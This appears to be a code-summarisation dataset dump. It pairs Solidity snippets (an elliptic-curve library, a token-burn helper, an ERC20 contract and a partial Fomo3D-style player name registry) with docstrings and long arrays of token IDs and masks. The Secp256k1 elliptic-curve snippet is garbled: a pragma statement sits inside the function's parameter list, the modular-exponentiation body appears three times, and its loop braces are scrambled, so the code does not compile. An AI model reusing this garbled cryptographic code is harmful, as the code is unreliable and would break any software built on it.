0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
6617,
537,
12,
2867,
358,
16,
2254,
5034,
1147,
548,
13,
5024,
1071,
3849,
288,
203,
3639,
1758,
3410,
273,
3410,
951,
12,
2316,
548,
1769,
203,
203,
3639,
309,
261,
67,
3576,
12021,
654,
39,
27,
5340,
37,
1435,
480,
3410,
13,
203,
5411,
309,
16051,
291,
31639,
1290,
1595,
12,
8443,
16,
389,
3576,
12021,
654,
39,
27,
5340,
37,
1435,
3719,
288,
203,
7734,
15226,
1716,
685,
1125,
11095,
1248,
5541,
50,
280,
31639,
5621,
203,
5411,
289,
203,
203,
3639,
389,
2316,
12053,
4524,
63,
2316,
548,
65,
273,
358,
31,
203,
3639,
3626,
1716,
685,
1125,
12,
8443,
16,
358,
16,
1147,
548,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./partial_match/1/0xee319C50a873493d220e11946655270244D8e164/sources/src/lib/Secp256k1.sol | Pre-computed constant for 2 ** 255 | library EllipticCurve {
uint256 private constant U255_MAX_PLUS_1 =
57896044618658097711785492504343953926634992332820282019728792003956564819968;
uint256 public constant AA = 0;
uint256 public constant BB = 7;
uint256 public constant PP = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFFFFFC2F;
function expMod(
uint256 _base,
uint256 _exp
pragma solidity ^0.8.13;
) internal pure returns (uint256) {
require(PP != 0, "Modulus is zero");
if (_base == 0) return 0;
if (_exp == 0) return 1;
uint256 r = 1;
uint256 bit = U255_MAX_PLUS_1;
assembly {
for {
r := mulmod(mulmod(r, r, PP), exp(_base, iszero(iszero(and(_exp, bit)))), PP)
r := mulmod(mulmod(r, r, PP), exp(_base, iszero(iszero(and(_exp, div(bit, 2))))), PP)
r := mulmod(mulmod(r, r, PP), exp(_base, iszero(iszero(and(_exp, div(bit, 4))))), PP)
r := mulmod(mulmod(r, r, PP), exp(_base, iszero(iszero(and(_exp, div(bit, 8))))), PP)
bit := div(bit, 16)
}
}
return r;
}
) internal pure returns (uint256) {
require(PP != 0, "Modulus is zero");
if (_base == 0) return 0;
if (_exp == 0) return 1;
uint256 r = 1;
uint256 bit = U255_MAX_PLUS_1;
assembly {
for {
r := mulmod(mulmod(r, r, PP), exp(_base, iszero(iszero(and(_exp, bit)))), PP)
r := mulmod(mulmod(r, r, PP), exp(_base, iszero(iszero(and(_exp, div(bit, 2))))), PP)
r := mulmod(mulmod(r, r, PP), exp(_base, iszero(iszero(and(_exp, div(bit, 4))))), PP)
r := mulmod(mulmod(r, r, PP), exp(_base, iszero(iszero(and(_exp, div(bit, 8))))), PP)
bit := div(bit, 16)
}
}
return r;
}
) internal pure returns (uint256) {
require(PP != 0, "Modulus is zero");
if (_base == 0) return 0;
if (_exp == 0) return 1;
uint256 r = 1;
uint256 bit = U255_MAX_PLUS_1;
assembly {
for {
r := mulmod(mulmod(r, r, PP), exp(_base, iszero(iszero(and(_exp, bit)))), PP)
r := mulmod(mulmod(r, r, PP), exp(_base, iszero(iszero(and(_exp, div(bit, 2))))), PP)
r := mulmod(mulmod(r, r, PP), exp(_base, iszero(iszero(and(_exp, div(bit, 4))))), PP)
r := mulmod(mulmod(r, r, PP), exp(_base, iszero(iszero(and(_exp, div(bit, 8))))), PP)
bit := div(bit, 16)
}
}
return r;
}
} gt(bit, 0) {
} {
function deriveY(uint8 _prefix, uint256 _x) internal pure returns (uint256) {
require(_prefix == 0x02 || _prefix == 0x03, "Invalid compressed EC point prefix");
uint256 y2 = addmod(mulmod(_x, mulmod(_x, _x, PP), PP), addmod(mulmod(_x, AA, PP), BB, PP), PP);
y2 = expMod(y2, (PP + 1) / 4);
uint256 y = (y2 + _prefix) % 2 == 0 ? y2 : PP - y2;
return y;
}
}
| 4,265,622 | [
1,
1386,
17,
20307,
5381,
364,
576,
225,
4561,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
12083,
10426,
549,
21507,
9423,
288,
203,
565,
2254,
5034,
3238,
5381,
587,
10395,
67,
6694,
67,
6253,
3378,
67,
21,
273,
203,
3639,
15981,
6675,
26,
3028,
8749,
2643,
9222,
3672,
29,
4700,
2499,
8285,
6564,
29,
2947,
3028,
5026,
5520,
25,
5520,
5558,
4449,
24,
2733,
4366,
1578,
11149,
3103,
28,
6734,
10580,
6030,
7235,
6976,
5520,
4313,
25,
1105,
11861,
2733,
9470,
31,
203,
203,
565,
2254,
5034,
1071,
5381,
27343,
273,
374,
31,
203,
565,
2254,
5034,
1071,
5381,
21752,
273,
2371,
31,
203,
565,
2254,
5034,
1071,
5381,
453,
52,
273,
374,
6356,
8998,
8998,
8998,
8998,
8998,
8998,
8998,
8998,
8998,
8998,
8998,
8998,
8998,
8090,
8998,
4488,
22,
42,
31,
203,
203,
565,
445,
1329,
1739,
12,
203,
3639,
2254,
5034,
389,
1969,
16,
203,
3639,
2254,
5034,
389,
2749,
203,
683,
9454,
18035,
560,
3602,
20,
18,
28,
18,
3437,
31,
203,
565,
262,
2713,
16618,
1135,
261,
11890,
5034,
13,
288,
203,
3639,
2583,
12,
6584,
480,
374,
16,
315,
1739,
17284,
353,
3634,
8863,
203,
203,
3639,
309,
261,
67,
1969,
422,
374,
13,
327,
374,
31,
203,
3639,
309,
261,
67,
2749,
422,
374,
13,
327,
404,
31,
203,
203,
3639,
2254,
5034,
436,
273,
404,
31,
203,
3639,
2254,
5034,
2831,
273,
587,
10395,
67,
6694,
67,
6253,
3378,
67,
21,
31,
203,
3639,
19931,
288,
203,
5411,
364,
288,
203,
203,
203,
7734,
436,
519,
14064,
1711,
12,
16411,
1711,
12,
86,
16,
436,
16,
453,
52,
3631,
1329,
24899,
1969,
2
]
|
./full_match/4/0xC9434231534B8fab79d9226e1b443c372A966F65/sources/contracts/utils/TokenUtils.sol | * @dev Burn tokens held by this contract. @param _graphToken Token to burn @param _amount Amount of tokens to burn/ | function burnTokens(IGraphToken _graphToken, uint256 _amount) internal {
if (_amount > 0) {
_graphToken.burn(_amount);
}
}
| 649,183 | [
1,
38,
321,
2430,
15770,
635,
333,
6835,
18,
225,
389,
4660,
1345,
3155,
358,
18305,
225,
389,
8949,
16811,
434,
2430,
358,
18305,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
18305,
5157,
12,
3047,
1483,
1345,
389,
4660,
1345,
16,
2254,
5034,
389,
8949,
13,
2713,
288,
203,
3639,
309,
261,
67,
8949,
405,
374,
13,
288,
203,
5411,
389,
4660,
1345,
18,
70,
321,
24899,
8949,
1769,
203,
3639,
289,
203,
565,
289,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./full_match/3/0x53A10FB63d40fe3a1b341cFC3c437f1207FfbA12/sources/browser/contracts/Mikes_attempt_2_erc20/try3.sol | * @dev Implementation of the {IERC20} interface. This implementation is agnostic to the way tokens are created. This means that a supply mechanism has to be added in a derived contract using {_mint}. For a generic mechanism see {ERC20PresetMinterPauser}. TIP: For a detailed writeup see our guide to implement supply mechanisms]. We have followed general OpenZeppelin guidelines: functions revert instead of returning `false` on failure. This behavior is nonetheless conventional and does not conflict with the expectations of ERC20 applications. Additionally, an {Approval} event is emitted on calls to {transferFrom}. This allows applications to reconstruct the allowance for all accounts just by listening to said events. Other implementations of the EIP may not emit these events, as it isn't required by the specification. Finally, the non-standard {decreaseAllowance} and {increaseAllowance} functions have been added to mitigate the well-known issues around setting allowances. See {IERC20-approve}./ | contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
_decimals = 18;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
| 14,204,743 | [
1,
13621,
434,
326,
288,
45,
654,
39,
3462,
97,
1560,
18,
1220,
4471,
353,
279,
1600,
669,
335,
358,
326,
4031,
2430,
854,
2522,
18,
1220,
4696,
716,
279,
14467,
12860,
711,
358,
506,
3096,
316,
279,
10379,
6835,
1450,
288,
67,
81,
474,
5496,
2457,
279,
5210,
12860,
2621,
288,
654,
39,
3462,
18385,
49,
2761,
16507,
1355,
5496,
399,
2579,
30,
2457,
279,
6864,
1045,
416,
2621,
3134,
7343,
358,
2348,
14467,
1791,
28757,
8009,
1660,
1240,
10860,
7470,
3502,
62,
881,
84,
292,
267,
9875,
14567,
30,
4186,
15226,
3560,
434,
5785,
1375,
5743,
68,
603,
5166,
18,
1220,
6885,
353,
1661,
546,
12617,
15797,
287,
471,
1552,
486,
7546,
598,
326,
26305,
434,
4232,
39,
3462,
12165,
18,
26775,
16,
392,
288,
23461,
97,
871,
353,
17826,
603,
4097,
358,
288,
13866,
1265,
5496,
1220,
5360,
12165,
358,
23243,
326,
1699,
1359,
364,
777,
2
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
| [
1,
16351,
4232,
39,
3462,
353,
1772,
16,
467,
654,
39,
3462,
288,
203,
565,
1450,
14060,
10477,
364,
2254,
5034,
31,
203,
203,
565,
2874,
261,
2867,
516,
2254,
5034,
13,
3238,
389,
70,
26488,
31,
203,
203,
565,
2874,
261,
2867,
516,
2874,
261,
2867,
516,
2254,
5034,
3719,
3238,
389,
5965,
6872,
31,
203,
203,
565,
2254,
5034,
3238,
389,
4963,
3088,
1283,
31,
203,
203,
565,
533,
3238,
389,
529,
31,
21281,
565,
533,
3238,
389,
7175,
31,
7010,
565,
2254,
28,
3238,
389,
31734,
31,
7010,
203,
203,
565,
3885,
261,
1080,
3778,
508,
67,
16,
533,
3778,
3273,
67,
13,
288,
203,
3639,
389,
529,
273,
508,
67,
31,
203,
3639,
389,
7175,
273,
3273,
67,
31,
203,
3639,
389,
31734,
273,
6549,
31,
203,
565,
289,
203,
203,
565,
445,
508,
1435,
1071,
1476,
1135,
261,
1080,
3778,
13,
288,
203,
3639,
327,
389,
529,
31,
203,
565,
289,
203,
203,
565,
445,
3273,
1435,
1071,
1476,
1135,
261,
1080,
3778,
13,
288,
203,
3639,
327,
389,
7175,
31,
203,
565,
289,
203,
203,
565,
445,
15105,
1435,
1071,
1476,
1135,
261,
11890,
28,
13,
288,
203,
3639,
327,
389,
31734,
31,
203,
565,
289,
203,
203,
565,
445,
2078,
3088,
1283,
1435,
1071,
1476,
3849,
1135,
261,
11890,
5034,
13,
288,
203,
3639,
327,
389,
4963,
3088,
1283,
31,
203,
565,
289,
203,
203,
565,
445,
11013,
951,
12,
2867,
2236,
13,
1071,
1476,
3849,
1135,
261,
11890,
5034,
13,
288,
203,
3639,
327,
389,
70,
26488,
2
]
|
pragma solidity ^0.4.24;
interface PlayerBookReceiverInterface {
function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff) external;
function receivePlayerNameList(uint256 _pID, bytes32 _name) external;
}
contract PlayerBook {
using NameFilter for string;
using SafeMath for uint256;
address private communityAddr = 0x8B55bc87097356cC22aABae8Dc85cDC2f6526672;
//==============================================================================
// _| _ _|_ _ _ _ _|_ _ .
// (_|(_| | (_| _\(/_ | |_||_) .
//=============================|================================================
uint256 public registrationFee_ = 10 finney; // price to register a name
mapping(uint256 => PlayerBookReceiverInterface) public games_; // mapping of our game interfaces for sending your account info to games
mapping(address => bytes32) public gameNames_; // lookup a games name
mapping(address => uint256) public gameIDs_; // lokup a games ID
uint256 public gID_; // total number of games
uint256 public pID_; // total number of players
mapping (address => uint256) public pIDxAddr_; // (addr => pID) returns player id by address
mapping (bytes32 => uint256) public pIDxName_; // (name => pID) returns player id by name
mapping (uint256 => Player) public plyr_; // (pID => data) player data
mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_; // (pID => name => bool) list of names a player owns. (used so you can change your display name amoungst any name you own)
mapping (uint256 => mapping (uint256 => bytes32)) public plyrNameList_; // (pID => nameNum => name) list of names a player owns
struct Player {
address addr;
bytes32 name;
uint256 laff;
uint256 names;
}
//==============================================================================
// _ _ _ __|_ _ __|_ _ _ .
// (_(_)| |_\ | | |_|(_ | (_)| . (initial data setup upon contract deploy)
//==============================================================================
constructor()
public
{
// premine the dev names (sorry not sorry)
// No keys are purchased with this method, it's simply locking our addresses,
// PID's and names for referral codes.
plyr_[1].addr = 0x54806759FFBbEc0b8EdE8515DF9d63Ce19Ca88e0;
plyr_[1].name = "marine";
plyr_[1].names = 1;
pIDxAddr_[0x54806759FFBbEc0b8EdE8515DF9d63Ce19Ca88e0] = 1;
pIDxName_["marine"] = 1;
plyrNames_[1]["marine"] = true;
plyrNameList_[1][1] = "marine";
plyr_[2].addr = 0x8F8379A39DAeE33f8269934b08B857C43a79aC91;
plyr_[2].name = "comm";
plyr_[2].names = 1;
pIDxAddr_[0x8F8379A39DAeE33f8269934b08B857C43a79aC91] = 2;
pIDxName_["comm"] = 2;
plyrNames_[2]["comm"] = true;
plyrNameList_[2][1] = "comm";
plyr_[3].addr = 0x254e11999A62c51F6C3b8e52d1059120cA71712a;
plyr_[3].name = "gavin";
plyr_[3].names = 1;
pIDxAddr_[0x254e11999A62c51F6C3b8e52d1059120cA71712a] = 3;
pIDxName_["gavin"] = 3;
plyrNames_[3]["gavin"] = true;
plyrNameList_[3][1] = "gavin";
plyr_[4].addr = 0x3A6B9802b6AfdE5Be77CB71d85BF4A5e76c37d82;
plyr_[4].name = "toni";
plyr_[4].names = 1;
pIDxAddr_[0x3A6B9802b6AfdE5Be77CB71d85BF4A5e76c37d82] = 4;
pIDxName_["toni"] = 4;
plyrNames_[4]["toni"] = true;
plyrNameList_[4][1] = "toni";
pID_ = 4;
}
//==============================================================================
// _ _ _ _|. |`. _ _ _ .
// | | |(_)(_||~|~|(/_| _\ . (these are safety checks)
//==============================================================================
/**
* @dev prevents contracts from interacting with fomo3d
*/
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
modifier onlyCommunity()
{
require(msg.sender == communityAddr, "msg sender is not the community");
_;
}
modifier isRegisteredGame()
{
require(gameIDs_[msg.sender] != 0);
_;
}
//==============================================================================
// _ _ _ _|_ _ .
// (/_\/(/_| | | _\ .
//==============================================================================
// fired whenever a player registers a name
event onNewName
(
uint256 indexed playerID,
address indexed playerAddress,
bytes32 indexed playerName,
bool isNewPlayer,
uint256 affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 amountPaid,
uint256 timeStamp
);
//==============================================================================
// _ _ _|__|_ _ _ _ .
// (_|(/_ | | (/_| _\ . (for UI & viewing things on etherscan)
//=====_|=======================================================================
function checkIfNameValid(string _nameStr)
public
view
returns(bool)
{
bytes32 _name = _nameStr.nameFilter();
if (pIDxName_[_name] == 0)
return (true);
else
return (false);
}
//==============================================================================
// _ |_ |. _ |` _ __|_. _ _ _ .
// |_)|_||_)||(_ ~|~|_|| |(_ | |(_)| |_\ . (use these to interact with contract)
//====|=========================================================================
/**
* @dev registers a name. UI will always display the last name you registered.
* but you will still own all previously registered names to use as affiliate
* links.
* - must pay a registration fee.
* - name must be unique
* - names will be converted to lowercase
* - name cannot start or end with a space
* - cannot have more than 1 space in a row
* - cannot be only numbers
* - cannot start with 0x
* - name must be at least 1 char
* - max length of 32 characters long
* - allowed characters: a-z, 0-9, and space
* -functionhash- 0x921dec21 (using ID for affiliate)
* -functionhash- 0x3ddd4698 (using address for affiliate)
* -functionhash- 0x685ffd83 (using name for affiliate)
* @param _nameString players desired name
* @param _affCode affiliate ID, address, or name of who refered you
* @param _all set to true if you want this to push your info to all games
* (this might cost a lot of gas)
*/
function registerNameXID(string _nameString, uint256 _affCode, bool _all)
isHuman()
public
payable
{
// make sure name fees paid
require (msg.value >= registrationFee_, "umm..... you have to pay the name fee");
// filter name + condition checks
bytes32 _name = NameFilter.nameFilter(_nameString);
// set up address
address _addr = msg.sender;
// set up our tx event data and determine if player is new or not
bool _isNewPlayer = determinePID(_addr);
// fetch player id
uint256 _pID = pIDxAddr_[_addr];
// manage affiliate residuals
// if no affiliate code was given, no new affiliate code was given, or the
// player tried to use their own pID as an affiliate code, lolz
if (_affCode != 0 && _affCode != plyr_[_pID].laff && _affCode != _pID)
{
// update last affiliate
plyr_[_pID].laff = _affCode;
} else if (_affCode == _pID) {
_affCode = 0;
}
// register name
registerNameCore(_pID, _addr, _affCode, _name, _isNewPlayer, _all);
}
function registerNameXaddr(string _nameString, address _affCode, bool _all)
isHuman()
public
payable
{
// make sure name fees paid
require (msg.value >= registrationFee_, "umm..... you have to pay the name fee");
// filter name + condition checks
bytes32 _name = NameFilter.nameFilter(_nameString);
// set up address
address _addr = msg.sender;
// set up our tx event data and determine if player is new or not
bool _isNewPlayer = determinePID(_addr);
// fetch player id
uint256 _pID = pIDxAddr_[_addr];
// manage affiliate residuals
// if no affiliate code was given or player tried to use their own, lolz
uint256 _affID;
if (_affCode != address(0) && _affCode != _addr)
{
// get affiliate ID from aff Code
_affID = pIDxAddr_[_affCode];
// if affID is not the same as previously stored
if (_affID != plyr_[_pID].laff)
{
// update last affiliate
plyr_[_pID].laff = _affID;
}
}
// register name
registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer, _all);
}
function registerNameXname(string _nameString, bytes32 _affCode, bool _all)
isHuman()
public
payable
{
// make sure name fees paid
require (msg.value >= registrationFee_, "umm..... you have to pay the name fee");
// filter name + condition checks
bytes32 _name = NameFilter.nameFilter(_nameString);
// set up address
address _addr = msg.sender;
// set up our tx event data and determine if player is new or not
bool _isNewPlayer = determinePID(_addr);
// fetch player id
uint256 _pID = pIDxAddr_[_addr];
// manage affiliate residuals
// if no affiliate code was given or player tried to use their own, lolz
uint256 _affID;
if (_affCode != "" && _affCode != _name)
{
// get affiliate ID from aff Code
_affID = pIDxName_[_affCode];
// if affID is not the same as previously stored
if (_affID != plyr_[_pID].laff)
{
// update last affiliate
plyr_[_pID].laff = _affID;
}
}
// register name
registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer, _all);
}
/**
* @dev players, if you registered a profile, before a game was released, or
* set the all bool to false when you registered, use this function to push
* your profile to a single game. also, if you've updated your name, you
* can use this to push your name to games of your choosing.
* -functionhash- 0x81c5b206
* @param _gameID game id
*/
function addMeToGame(uint256 _gameID)
isHuman()
public
{
require(_gameID <= gID_, "silly player, that game doesn't exist yet");
address _addr = msg.sender;
uint256 _pID = pIDxAddr_[_addr];
require(_pID != 0, "hey there buddy, you dont even have an account");
uint256 _totalNames = plyr_[_pID].names;
// add players profile and most recent name
games_[_gameID].receivePlayerInfo(_pID, _addr, plyr_[_pID].name, plyr_[_pID].laff);
// add list of all names
if (_totalNames > 1)
for (uint256 ii = 1; ii <= _totalNames; ii++)
games_[_gameID].receivePlayerNameList(_pID, plyrNameList_[_pID][ii]);
}
/**
* @dev players, use this to push your player profile to all registered games.
* -functionhash- 0x0c6940ea
*/
function addMeToAllGames()
isHuman()
public
{
address _addr = msg.sender;
uint256 _pID = pIDxAddr_[_addr];
require(_pID != 0, "hey there buddy, you dont even have an account");
uint256 _laff = plyr_[_pID].laff;
uint256 _totalNames = plyr_[_pID].names;
bytes32 _name = plyr_[_pID].name;
for (uint256 i = 1; i <= gID_; i++)
{
games_[i].receivePlayerInfo(_pID, _addr, _name, _laff);
if (_totalNames > 1)
for (uint256 ii = 1; ii <= _totalNames; ii++)
games_[i].receivePlayerNameList(_pID, plyrNameList_[_pID][ii]);
}
}
/**
* @dev players use this to change back to one of your old names. tip, you'll
* still need to push that info to existing games.
* -functionhash- 0xb9291296
* @param _nameString the name you want to use
*/
function useMyOldName(string _nameString)
isHuman()
public
{
// filter name, and get pID
bytes32 _name = _nameString.nameFilter();
uint256 _pID = pIDxAddr_[msg.sender];
// make sure they own the name
require(plyrNames_[_pID][_name] == true, "umm... thats not a name you own");
// update their current name
plyr_[_pID].name = _name;
}
//==============================================================================
// _ _ _ _ | _ _ . _ .
// (_(_)| (/_ |(_)(_||(_ .
//=====================_|=======================================================
